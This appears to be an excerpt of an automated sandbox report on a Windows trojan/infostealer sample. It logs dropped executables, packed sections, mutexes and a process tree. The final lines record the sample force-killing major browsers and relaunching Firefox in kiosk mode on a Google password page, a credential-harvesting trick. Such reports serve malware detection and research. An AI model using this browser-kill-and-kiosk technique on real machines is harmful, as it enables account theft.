Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Code function: 10_3_00C8EE5B	10_3_00C8EE5B
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Code function: 10_3_00C8EE5B	10_3_00C8EE5B
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Code function: 10_3_00C8EE5B	10_3_00C8EE5B
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Code function: 10_3_00C8EE5B	10_3_00C8EE5B
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Code function: 10_3_00C8EE5B	10_3_00C8EE5B
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Code function: 10_3_00C8EE5B	10_3_00C8EE5B
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Code function: 10_3_00C8EE5B	10_3_00C8EE5B
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Code function: 10_3_00C8EE5B	10_3_00C8EE5B
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Code function: 10_3_00C8EE5B	10_3_00C8EE5B
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Code function: 10_3_00C8EE5B	10_3_00C8EE5B
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Code function: 10_3_00C8EE5B	10_3_00C8EE5B
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Code function: 10_3_00C8EE5B	10_3_00C8EE5B
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Code function: 10_3_00C8EE5B	10_3_00C8EE5B
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Code function: 10_3_00C8EE5B	10_3_00C8EE5B
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Code function: 10_3_00C8EE5B	10_3_00C8EE5B
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Code function: 10_3_00C8EE5B	10_3_00C8EE5B
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Code function: 10_3_00C8EE5B	10_3_00C8EE5B
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Code function: 10_3_00C8EE5B	10_3_00C8EE5B

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\num[1].exe A8ADDC675FCC27C94FF9E4775BB2E090F4DA1287AAE6B95CECC65CCF533BC61D

Source: file.exe, 00000000.00000003.1859930129.0000000006343000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1852436689.0000000006244000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1860444712.0000000006342000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1866117748.00000000064BD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1863415491.000000000636A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1856975945.0000000006337000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1857955463.000000000642E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1861095253.0000000006243000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1850561167.000000000639C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1866464602.000000000624E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1853362409.00000000063C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1851146095.0000000006244000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1858449455.0000000006332000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1849122584.00000000060AA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1865961250.000000000637F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1850909513.0000000006246000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1867731091.00000000064E1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1859377126.0000000006347000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1851427153.0000000006301000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1868430023.00000000064CE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1860200062.0000000006247000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1868770266.0000000006397000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1849689011.000000000637A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1851538047.00000000063B7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1850451207.00000000062E8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1855848264.000000000641A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1867547023.0000000006390000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1864833034.0000000006498000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1868941880.0000000006245000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1853824787.0000000006242000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1862510871.0000000006358000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1867888910.0000000006247000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1861853503.0000000006470000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1857354464.0000000006249000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1854603356.0000000006243000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1850349891.0000000006246000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1863941612.0000000006244000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1849866957.00000000060A2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1854203935.0000000006242000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1855440693.0000000006331000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1858685948.0000000006423000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1859669609.0000000006247000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1871689516.0000000006243000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1852187825.000000000624A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1877218261.00000000015ED000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1865443519.000000000637A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1853667090.0000000006325000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1867345199.0000000006246000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1852655724.0000000006247000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1862959283.0000000006470000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1847445002.0000000005E1A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1853524306.000000000624F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1849945609.0000000006251000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1868078317.0000000006383000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1850251440.00000000062E9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1857637786.000000000633A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1856394650.000000000633A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1852880531.0000000006307000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1851969421.000000000630B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1860694324.0000000006449000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1859060174.0000000006245000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1866656848.000000000638B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1869110277.000000000639A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1849406201.0000000006247000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1850672383.000000000624E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1863565576.0000000006246000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1849213326.0000000006249000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1863719957.0000000006368000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1864673409.0000000006367000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1867141744.0000000006383000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1849308948.00000000060A5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1849579597.00000000062DF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1858309828.0000000006245000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1856115066.0000000006247000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1861650184.000000000635E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1865607164.00000000064B1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1852324714.000000000630D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1853022397.0000000006244000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1854464080.00000000063FB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1850051756.00000000062F2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1868601383.0000000006250000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1864403428.0000000006248000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1849048474.0000000005EB2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1863273562.000000000624F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1854334393.000000000631F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1853169759.0000000006302000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1853973370.000000000631F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1864251769.000000000649E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1850783433.00000000062F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1869278089.0000000006246000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1854935356.0000000006323000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1864093249.000000000636F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1865261330.000000000624D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1851746238.0000000006246000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1850149668.000000000624C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1849768807.000000000624C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1865781954.0000000006249000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1866889980.000000000624C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1847445002.0000000005E5A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1854088925.0000000006401000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1856604159.0000000006250000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1855288604.0000000006243000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1852544896.000000000630F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1851019318.00000000062FC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1862123410.0000000006247000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9978387049373041
Source: SP29EZJLUAF4OXVNPKLP.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9983927963215259
Source: SP29EZJLUAF4OXVNPKLP.exe.0.dr	Static PE information: Section: hbhuwskf ZLIB complexity 0.9944901882853202
Source: skotes.exe.3.dr	Static PE information: Section: ZLIB complexity 0.9983927963215259
Source: skotes.exe.3.dr	Static PE information: Section: hbhuwskf ZLIB complexity 0.9944901882853202
Source: random[1].exe.8.dr	Static PE information: Section: ZLIB complexity 0.9978387049373041
Source: 3e1d30d118.exe.8.dr	Static PE information: Section: ZLIB complexity 0.9978387049373041
Source: random[1].exe0.8.dr	Static PE information: Section: rcutauay ZLIB complexity 0.994974856856038
Source: c077ee22d1.exe.8.dr	Static PE information: Section: rcutauay ZLIB complexity 0.994974856856038
Source: J3F2AVPL447NSFJEKUT1.exe.10.dr	Static PE information: Section: ZLIB complexity 0.9983927963215259
Source: J3F2AVPL447NSFJEKUT1.exe.10.dr	Static PE information: Section: hbhuwskf ZLIB complexity 0.9944901882853202

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@53/21@15/6

Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\910S1Q63XQ87I6P4.exe.log

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7328:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4124:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\6QPF41LR0H1R83WBFIVMMOQHW.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1608:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7904:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5776:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5228:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe

Jump to behavior

Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process

Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe, 00000000.00000003.1715065548.0000000005DD6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1715347269.0000000005DBC000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2600140560.0000000005906000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2600448064.00000000058EC000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: SP29EZJLUAF4OXVNPKLP.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe "C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe "C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe"
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe "C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe "C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe "C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe "C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe"
Source: C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: unknown	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
